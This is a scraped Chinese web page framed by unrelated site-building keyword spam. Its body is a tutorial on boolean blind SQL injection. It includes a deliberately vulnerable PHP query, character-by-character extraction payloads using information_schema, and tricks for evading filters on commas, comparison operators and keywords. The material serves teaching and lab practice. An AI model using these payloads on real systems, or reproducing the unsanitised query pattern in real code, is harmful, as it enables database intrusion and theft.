当前位置: 首页 > news >正文

佛山微信网站开发泉州自主建站模板

佛山微信网站开发,泉州自主建站模板,班级网站源代码,东莞服务公司网站建设布尔盲注适用场景: 1、WAF或者过滤函数完全过滤掉union关键字 2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容 代码分析:过滤关键字 union if(preg_match(/union/i, $id)) { echo "fail"; exit; } 代码…

布尔盲注适用场景:

1、WAF或者过滤函数完全过滤掉union关键字

2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

代码分析:过滤关键字 union

if(preg_match('/union/i', $id))
{
echo "fail";
exit;
}

代码分析:数据不会回显

$conn = mysql_connect('localhost','root','123456') or die('连接数据库失败!');
mysql_query('set names utf-8',$conn);
mysql_query('use web_sql',$conn);
$sql = "select * from person where id = {$id}";
$res = mysql_query($sql,$conn) or die(mysql_error());
$row = mysql_fetch_array($res);
if($row){
$flag = "success";
}else{
$flag = "fail";
}

布尔注入原理:

利用 逻辑关系对SQL语句进行“干预”。

例如 select * from article where id = 1

如果拼接and 1=1 恒为真,输 出正确情况。

如果拼接 and 1=2 恒为假,输出错误情况。

此时可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。

布尔盲注实验

1、获取数据库名称

遍历数据库长度的字符,最终找到数据名称:web_sql

and+length(database())>=num #根据页面返回长度判断数据库长度
and+substr(database(),1,1)='a' #逐字遍历(替换a) #substr substring mid 都可以截取字符串其中一部分
如果过滤引号,可以适用 and+ascii(substr(database(),1,1)) = 96 #根据ascii值判断 ord 也可以实 现

2、获取数据表名称

其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

3、获取字段名称

and ord(mid((select column_name from information_schema.columns where table_name='admin' limit 2,1),1,1)) = 97

4、获取数值部分

and ord(mid((select 字段 from 表名),1,1)) = 97

布尔盲注过滤绕过技巧:

绕过核心就是将布尔利用技术中的关键字进行替换

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

1、过滤逗号绕过技巧

在进行盲注过程中,可能需要substr(),mid(),limit等函数或操作符,此时要用到逗号。如果逗号被过滤可 以使用以下技巧。

mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;

2、过滤比较运算符技巧

在进行盲注过程中,需要适用大于或小于比较运算符。如果过滤,可以使用以下技巧 。

greatest(n1, n2, n3…):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)=97;
least(n1,n2,n3…):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回
-1,其它情况返回 1
substr(username,1,1) in ('t');
between a and b:范围在a-b之间
and substr(username,1,1) between 'a' and 't';
and substr(username,1,1) between 't' and 't';

 实验:完成题目过滤绕过

过滤代码 preg_match("/union|and|benchmark|ascii|substr|,|>|<|=|\s+/i",$sql)

http://www.yayakq.cn/news/647797/

相关文章:

  • 企业网站模板公司百度权重查询网站
  • 建企业网站公司单页面销售信网站赚钱系统
  • 邢台做网站潍坊快速网站排名
  • 如何快速使用模版做网站把自己做的网站进行app封包
  • 优化网站推广教程整站新余网站建设
  • 建设部办公厅网站wordpress设置网站导航
  • 那种投票网站里面怎么做网站建设总体规划包括哪些方面
  • 现在建设的网站有什么劣势重庆网站制作天
  • 网站建设简运维 简历乐清市网站建设
  • 可以下载各种软件的网站危机舆情公关公司
  • 网站的积分系统怎么做的网站怎么不要钱自己做
  • 网站建设案例教程试卷wordpress适应式网站博客模板
  • 头条网站模版wap入口
  • 建网站 考虑建设产品网站
  • 帮别的公司做网站违法吗福田招聘信息
  • 网站开发端北京市建设工程信息网知名中项网
  • 网站备案和前置审批校园网站建设开题报告
  • 公司网站制作公校际凡科平台怎么登录
  • 泉州建站软件做服装团购有哪些网站
  • 网站目录字典wordpress实名认证发帖
  • 购物网站建设方案外网平面设计网站
  • 太原做网站 小程序企业网站排名优化方案
  • 营销网站开发哪家强微信开店小程序怎么做
  • 手机英文网站外贸手机网站
  • 房管局网站建设营销计划
  • 站长工具传媒p站关键词排名
  • 网站服务器速度对seo有什么影响网站最常用字体
  • 网站名称与主体性质不符济南手机建站模板
  • 方圆网站建设学习制作网页的网站
  • 网站开发温州erp软件免费版下载